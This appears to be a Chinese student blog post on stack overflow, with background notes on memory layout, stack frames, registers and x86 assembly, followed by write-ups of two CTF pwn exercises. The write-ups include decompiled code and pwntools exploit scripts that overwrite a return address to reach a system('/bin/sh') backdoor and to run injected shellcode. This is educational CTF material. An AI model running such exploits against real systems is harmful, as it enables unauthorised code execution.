栈溢出原理及解题练习

PWN学习任务二:

内容:
1.栈溢出学习 地址CTF-WIKI
2.完成栈溢出题目
要求:解题步骤写在博客

解题准备:

按题设要求,查看CTF-Wiki相关内容,云里雾里,没有基础知识,看了好久都看不懂:

基本栈介绍
栈是一种典型的先进后出( First in Last Out )的数据结构,其操作主要有压栈(push)与出栈(pop)两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。
高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,程序的栈是从进程地址空间的高地址向低地址增长的。

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是:程序必须向栈上写入数据;写入的数据大小没有被良好地控制。

于是转而去智慧树看了基础知识:笔记如下:
兴趣课链接 攻防基础:漏洞利用及渗透测试.

堆栈基础1-内存区域

一个进程可能被分配到不同的内存区域去执行
代码区:这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指令并执行
数据区:存储全局变量等
堆区:进程可以在堆区动态地请求一定大小的存,并在用完之后归还给堆区。动态分配和回收是1堆区的特点
栈区:用于动态地存储函数之间地关系,以保证被调用函数在返回时回复到母函数中继续执行-由操作系统管理

一个进程到底是怎么对内存区域合理执行的:
每个可执行文件包含了二进制级别的机器代码,将被装载到内存的代码区;
处理器将到内存的代码区一条一条地取指令和操作数,并送入算术逻辑单元进行运算;
如果代码中需要请求动态内存,则会在内存的堆区分配一块大小合适的区域返回给代码区的代码使用;
当函数发生调用时,函数的调用关系等信息会动态保存在内存的栈区,以供处理器在执行完被调用函数的代码时,返回母函数。

(stack)是向低地址扩展的数据结构,是一块连续的内存区域,栈顶的地址和栈的最大容量是系统预先规定好的。在WINDOWS下,栈的默认大小是2M,如果申请的空间超过栈的剩余空间时,将提示:overflow。栈溢出。
(heap)时向高地址扩展的结构,是不连续的内存区域,堆的大小受限于计算机的虚拟内存。通常比栈的大小大得多。

操作系统有一个记录空闲内存地址的链表,当系统收到程序的申请时,会遍历该链表:
1.寻找第一个空间大于所申请空间的队堆节点,然后将该结点从空闲结点链表中删除,并将该结点的空间分配给程序。
2.由于找到的堆结点的大小不一定正好等于申请的大小,系统会自动的将多余的那部分重新放入空闲链表中。

堆区和栈区的区别:
申请方式:
栈:由系统自动分配。例如,声明一个局部变量int b,系统自动在栈中为b开辟空间。
堆:需要程序员自己申请,并指明大小,在c中malloc函数,如p1=(char*)malloc(10).
申请效率:
栈由系统自动分配,速度较快,但程序员是无法控制的。
堆是由程序员分配的内存,一般速度比较慢,而且容易产生内存碎片,不过用起来方便。

堆栈基础2.-函数调用

函数调用时借用系统的栈来完成函数状态的保存和恢复
这些代码区中精确的跳转都是在系统栈巧妙地配合过程中完成的
当函数被调用时,系统栈会为这个函数开辟一个新的栈帧,并把它压入栈中
每个栈帧对应着一个未运行完的函数。栈帧中保存了该函数的返回地址和局部变量。从逻辑上讲,栈帧就是一个函数执行的环境:函数参数、函数的局部变量、函数执行完后返回到哪里等等。
当函数返回时,系统栈会弹出该函数所对应的栈帧。

函数调用的步骤
(1)参数入栈:将参数从右向左依次压入系统栈中。
(2)返回地址入栈:将当前代码区调用指令的下一条指令地址压入栈中,供函数返回时继续执行。
(3)代码区跳转:处理器从当前代码区跳转到被调用函数的入口处。
(4)栈帧调整:具体包括:保存当前栈帧状态值,以备后面恢复本栈帧时使用。将当前栈帧切换到新栈帧

堆栈基础3-常见寄存器与栈帧

寄存器:是中央处理器CPU的组成部分。寄存器是有限存贮容量的高速存贮部件,它们可用来暂存指数据和地址。我们常常看到32位CPU、64位CPU这样的名称,其实指的就是寄存器的大小。32位CPU的寄存器大小就是4个字节。位长越大,说明CPU一次性处理的数据越多。
CPU本身只负责运算,不负责存储数据。数据一般都储存在内存之中,CPU要用的时候就去内存读写数据。但是,cpu的运算速度远远高于内存的读写速度,为了避免被拖慢,CPU都自带一级缓存和二级缓存。基本上,CPU缓存可以看作是读写速度较快的内存。
每个函数都独占自己的栈帧空间。当前正在运行的函数栈帧总是在栈顶。Win32系统提供两个特殊的寄存器用于标识位于系统栈顶端的栈帧:
ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。
EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。
EBP和ESP之间的内存空间为当前栈帧,EBP标识了当前栈帧的底部,ESP标识了当前栈帧的顶部

函数栈帧中,一般包含以下几类重要信息:

*局部变量:为函数局部变量开辟的内存空间
*栈帧状态值:保存前栈帧的顶部和底部(实质上只保存前栈帧的底部,前栈帧的顶部可以通过堆栈平衡计算得到),用于在本栈帧被弹出后恢复出上一个栈帧
*函数返回地址:保存当前函数调用前的断点信息,也就是函数调用前的指令位置,以便在函数返回时能够恢复到函数被调用前的代码区中继续执行指令。

除了与栈相关的寄存器外,还需要记住另一个至关重要的寄存器:
EIP(指令寄存器)(extended instruction pointer),其内存放着一个指针,该指针永远指向下一条等待执行的指令地址。可以说如果控制了EIP寄存器的内容,就控制了进程-我们让EIP指向哪里,CPU就会去执行哪里的指令。

在函数调用过程中,结合寄存器看一下如何实现栈帧调整:
保存当前栈帧状态值,以备后面恢复本栈帧时使用(EBP入栈)
将当前栈帧切换到新栈帧(将ESP值装入EBP,更新栈帧底部)

汇编语言1-寄存器及主要指令

在汇编语言中,主要有四类寄存器:
4个数据寄存器:EAX\EBX\ECX\EDX;
2个变址寄存器(ESI\EDI);2个指针寄存器(ESP和EBP)
6个段寄存器(ES\CS\SS\DS\FS\GS)
1个指令指针寄存器(EIP);1个标志寄存器(EFlags)

数据寄存器主要用来保存操作数和运算结果等信息,从而节省读取操作数所需占用总线和访问存储器时间
32位CPU有4个32位的通用寄存器EAX\EBX\ECX\EDX.对低16位数据的存取,不会影响高16位的数据。这些低16位寄存器分别命名位:AX\BX\CX\DX,它们和先前CPU中的寄存器一致。
4个16位寄存器又可分割成8个独立的8位寄存器(AX:AH-AL\BX:BH-BL\CX:CH-CL\DX:DH-DL),每个寄存器都有自己的名称,可独立存取
数据寄存器
EAX通常称为累加器(Accumulator)可用于乘、除、输入/输出等操作,它们的使用频率很高。EAX还通常用于存储函数的返回值。
EBX称为基地址寄存器(Base Registers)它可作为存储器指针来使用,用来访问存储器。
ECX称为计数寄存器(Count Register)在循环和字符串操作时,要用它来控制循环次数;在位操作中,当移多位时,要用CL来指明移位的位数。
EDX称为数据寄存器(Data Register)在进行乘、除运算时,可作为默认操作数参与运算,也可用于存放I/O的端口地址。

变址寄存器:
变址寄存器主要用来存放操作数的地址,用于堆栈操作和变址运算中计算操作数的有效地址。
32位CPU有2个32位通用寄存器ESI\EDI。其中,低16位对应先前CPU中的SI、DI,对低16位数据的存取,不影响高16位的数据。
ESI通常在内存操作指令中作为“源地址指针”使用,而EDI通常在内存操作指令中作为“目的地址指针”使用。

指针寄存器pointer register:寄存器EBP\ESP,主要用于存放堆栈内存存储单元的偏移量,用他们可实现多种存储器操作数的寻址方式,为以不同的地址形式访问存储单元提供方便。指针寄存器不可分割成8位寄存器。作为通用寄存器,也可存储算术逻辑运算的操作数和运算结果。
它们主要用于访问堆栈内的内储单元,并且规定:
EBP为基指针(base pointer)寄存器,通过它减去一定的偏移值,来访问栈中的元素
ESP为堆栈指针(stack pointer)寄存器,它始终指向栈顶。

段寄存器:根据内存分段的管理模式而设置的,内存单元的物理地址由段寄存器的值和一个偏移量组合而成的,这样可用两个较少位数的值组合合成一个可访问较大物理空间的内存地址。
CS:代码段寄存器,其值为代码段的段值
DS:数据段寄存器,其值为数据段的段值
ES:附加段寄存器,其值为附加数据段的段值
SS:堆栈段寄存器,其值为堆栈段的段值
FS:附加段寄存器,其值为附加数据段的段值
GS:附加段寄存器,其值为附加数据段的段值
融合变址寄存器,在很多字符串操作指令中,DS:ESI指向源串,而ES:EDI指向目标串

指令指针寄存器:
EIP:32位CPU把指令指针扩展到32位,并记作EIP
指令指针EIP是存放下次将要执行的指令在代码段中的偏移量

汇编语言主要指令

数据传送指令集:
MOV:把源操作数送给目的操作数,其语法为:MOV 目的操作数,源操作数
XCHG:交换两个操作数的数据
PUSH,POP:把操作数压入或取出堆栈
PUSHF,POPF,PUSHAPOPA:堆栈指令群
LEA,LDS,LES:取地址到寄存器
位运算指令集:
AND.OR,XOR,NOT,TEST:执行BIT与BIT之间的逻辑运算
SHR,SHL,SAR,SAL:移位指令
ROR,RPL,RCR,RCL:循环移位指令

算术运算指令:
ADD\ADC 加法指令
SUB\SBB 减法指令
INC\DEC 把OP的值加一或减一
NEG 把OP的符号反相(取二进制补码)
MUL\IMUL 乘法指令
DIV\IDIV 除法指令

程序流程控制指令:
CMP:比较OP1与OP2的值
JMP:跳往指定地址执行
LOOP:循环指令集
CALL\RET:子程序调用,返回指令
INT\IRET:中断调用及返回指令,在执行INT时,CPU会自动将标志寄存器的值入栈,在执行IRET时则会将堆栈中的标志值弹回寄存器
REP\REPE\REPNE:重复前缀指令集

条件转移命令:
JXX:当特定条件成立则跳往指定地址执行
JZ:为0转移
JG:大于则转移
JL:小于则转移
JE:等于则转移
JN:取相反条件

字符串操作指令集:
MOVSB,MOVSW,MOVSD:字符串传送指令
CMPSB,CMPSW,CMPSD:字符串比较指令
SCASB,SCASW:字符串搜索指令
LODSB,LODSW,STOSB,STOSW:字符串载入或存贮指令

汇编语言2-寻址方式

形成操作数的有效地址的方法称为操作数的寻址方式
立即寻址:指令的地址段给出的不是操作数的地址,而是操作数本身,这种寻址方式称为立即寻址。特点:指令执行时间很短,因为它不需要访问内存取数,从而节省了访问内存的时间。如:MOV CL,05H
直接寻址:基本的寻址方法。特点:在指令格式的地址字段中直接指出操作数在内存的地址。操作数的地址直接给出而不需要经过某种变换。如:MOV AL,[3199H]
间接寻址:相对直接寻址而言。指令地址段中的形式地址不是操作数的真正地址,而是操作数的指示器,或者说此形式地址单元的内容才是操作数的有效地址。如:MOV [BX],12H(BX寄存器存操作数的地址)
基址寻址方式:将CPU中基址寄存器的内容,加上变址寄存器的内容而形成操作数的有效地址。基址寻址的优点是可以扩大寻址能力,因为与形式地址相比,基址寄存器的位数可以设置得很长,从而可以在较大的存储空间中寻址。如MOV EAX,[EBX+ESI]。

缓冲区溢出漏洞-栈溢出
缓冲区是一块连续的内存区域,用于存放程序运行时加载到内存的运行代码和数据。
缓冲区溢出:程序运行时,向固定大小的缓冲区写入超过其容量的数据,多余的数据会越过缓冲区的边界覆盖相邻内存空间,从而造成溢出。
缓冲区溢出攻击:发生缓冲区溢出时,溢出的数据会覆盖相邻内存空间的返回地址、函数指针、堆管理结构等合法数据,从而使程序运行失败、或者发生转向去执行其他程序代或者执行预先注入到内存缓冲区中的代码。
缓冲区溢出后执行的代码、会以原有程序的身份权限运行。
造成缓冲区溢出的根本原因:是缺乏类型安全功能的程序设计语言(C\C++等)出于效率的考虑,部分函数不对数组边界条件和函数指针引用进行边界检查。例如,C标准库中和字符串操作有关的函数,像strcpy,strcat,spring,gets等函数中,数组和指针都没有自动边界检查。
程序开发时必须自己进行边界检查,防范数据溢出,否则所开发的程序就存在缓冲区溢出的安全隐患,而实际上这一行为往往被程序员忽略或者检查不充分。

栈溢出漏洞:被调用的子函数中写入数据的长度,大于栈帧基址到ESP之间预留的保存局部变量的空间时,就会发生栈溢出。
要写入数据的填充方向是从低地址向高地址增长,多余的数据就会越过栈帧的基址,覆盖基址以上的地址空间。
A.修改返回地址:栈的存取采用先进后出的策略,程序用它来保存函数调用时的有关信息,如函数参数、返回地址,函数中的非静态局部变量存放在栈中。如果返回地址被覆盖,当覆盖后的地址是一个无效地址,则程序运行失败。如果覆盖返回地址的是恶意程序的入口地址,则源程序将转向去执行恶意程序。
B:修改临接变量
如果返回临近变量的值,可能会更改程序执行流程。

解题一

本题利用覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限。

1. file辨识文件类型,checksec检测安全保护 ,发现是64位可执行文件,并开启了RELRO保护。
在这里插入图片描述
2.利用 IDA 来反编译一下二进制程序并查看read函数

  int __cdecl main(int argc, const char **argv, const char **envp)
  {
   __int64 v4; // [rsp-40h] [rbp-40h]
   puts("Welcome to the stack training_1");
   puts("Now play your game: ");
   read(0, &v4, 0x50uLL);
   return 0;
   }

可以看见,栈空间的大小:136个字节
我们需要找到我们输入字节的地方:v4,在系统中只申请64字节大小,而read函数中却在v4地址处读入80字节
在这里插入图片描述
因而出现栈溢出现象。我们用gdb动态调试一下,分别在不输入字节和0x50个字节,查看栈的变化。
在这里插入图片描述在这里插入图片描述
与:
在这里插入图片描述在这里插入图片描述
我们可以看见,返回地址被“aaaaaaaa”覆盖,导致程序出现错误。
回到ida中,查看其他函数和反汇编结果

  int play_game()
  {
  return system("/bin/sh");
  }

出现一个有关系统的函数,查阅后得知:
system()函数调用/bin/sh来执行参数指定的命令,/bin/sh 一般是一个软连接,指向某个具体的shell
system()会调用fork()产生子进程, 由子进程来调用/bin/sh-c string 来执行参数string 字符串所代表的命令, 此命令执行完后随即返回原调用的进程. 如果system()调用成功则最后会返回执行shell 命令后的返回值
Shell基本上是一个命令解释器,类似于DOS下的command。它接收用户命令(如ls等),然后调用相应的应用程序。

所以这句话可以直接调用system函数,相当于获得了系统权限,即利用漏洞成功。

3.写漏洞利用exploit,从栈溢出入手,将返回地址覆盖为此后门函数的地址,使程序运行成功
exploit如下:

  from pwn import*
  p=process("./pwn1")
  context.log_level='debug'
  gdb.attach(p)
  door=0x4005EF
  payload1="a"*0x48+p64(door)
  p.sendlinesfter("Now play your game:",payload1)
  p.interactive()

导入库,加载程序,打印出交互信息,建立联系动态调试,构建含有后门函数地址的填充变量,在接收到Now play your game的语句后,将此变量输入,继续程序交互。
结果为:
在这里插入图片描述
可以看见,进入交互模式后,输入ls和回车这三个字节,收到了35个字节,也就是当前目录下的文件夹。进入程序后得到shell,解题成功。

解题二

1. file辨识文件类型,checksec检测安全保护 ,发现是64位可执行文件,并开启了RELRO保护。
在这里插入图片描述
2.动态调试一下,看看按正常程序流程会发生什么
在这里插入图片描述
欢迎来到训练二,现在请开始你的游戏吧。
额,excited 不已。

3.用ida打开程序,反汇编查看结果,并查看代码段:
反汇编结果为:

  int __cdecl main(int argc, const char **argv, const char **envp)
  {
  char buf; // [rsp+0h] [rbp-50h]
  __int64 v5; // [rsp+40h] [rbp-10h]
  __int64 v6; // [rsp+48h] [rbp-8h]
  
  v5 = 0LL;
  v6 = 0LL;
  puts("Welcome to the stack training_2");
  read(0, &s, 0x400uLL);
  puts("Now play your game: ");
  read(0, &buf, 0x60uLL);
  return 0;
 }

对应详细反汇编语句,可知read(0,&buf,0x60uLL)这一句存在栈溢出漏洞,因为此函数栈帧里存有上一个函数的返回地址,可以利用此漏洞。
在这里插入图片描述
查询知:
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
read(0,&buf,0x400uLL)这一句可以允许我们塞入一段这样的shellcode机器码,在栈溢出将返回地址覆盖为shellcode初始处即可完成连接。
查看ida,变量s的入口为:0x01060
在这里插入图片描述

4.写漏洞利用exploit,从栈溢出入手,将返回地址覆盖为此后门函数的地址,使程序运行成功
脚本如下:

  from pwn import *
  p = process("./pwn2")
  context(os='linux',arch='amd64',log_level='debug')
  bss_s=0x601060
  shell = asm(shellcraft.amd64.linux.sh())
  p.sendlineafter("training_2",shell)
  payload1 =0x58*"a"+p64(bss_s)
  p.sendlineafter("Now play your game: ",payload1)
  p.interactive()

首先导入库,加载程序pwn2,将交互信息打印出来,用pwntools中shellcode生成器来编写shellcode,在收到training_2这条语句后填充shell,在收到Now play your game这条语句后,将构造变量(大小为:填充s空间大小,再加上需要覆盖的返回地址)填充进去,继续进行程序交互。
详细shellcode编写方式参考博文 编写shellcode的几种姿势.
结果如下:
在这里插入图片描述
进入交互页面,发送接收如下:
在这里插入图片描述
说明程序漏洞成功被利用,解题成功。Over!

在ida窗口看到很长的界面,询问并查询了一下:
Linux进程的五个段
BSS段:BSS段(bss segment)通常指用来存放程序中未初始化的全局变量的一块内存区域,属于静态内存分配。
数据段:数据段(data segment)通常指用来存放程序中已初始化的全局变量的一块内存区域,静态内存分配。
代码段:代码段(code segment/text segment)通常是指用来存放程序执行代码的一块内存区域。这部分区域的大小在程序运行前就已经确定,并且内存区域通常属于只读, 某些架构也允许代码段为可写,即允许修改程序。
(heap):堆是用于存放进程运行中被动态分配的内存段,它的大小并不固定,可动态扩张或缩减。
(stack):栈又称堆栈, 是用户存放程序临时创建的局部变量,也就是说我们函数括弧“{}”中定义的变量(但不包括static声明的变量,static意味着在数据段中存放变量)。由操作系统分配的,内存的申请与回收都由OS管理。
参考博文 数据段、代码段、堆栈段、BSS段的区别.
数据段、代码段、堆栈段、BSS段辨析.

1、高位地址:栈(存放着局部变量和函数参数等数据),向下生长 (可读可写可执行)
2、堆(给动态分配内存是使用),向上生长 (可读可写可执行)
3、数据段(保存全局数据和静态数据) (可读可写不可执行)
4、地位地址:代码段(保存代码)(可读可执行不可写)

未完待续。。。。。。

  • 4
    点赞
  • 1
    评论
  • 4
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

相关推荐
©️2020 CSDN 皮肤主题: 创作都市 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值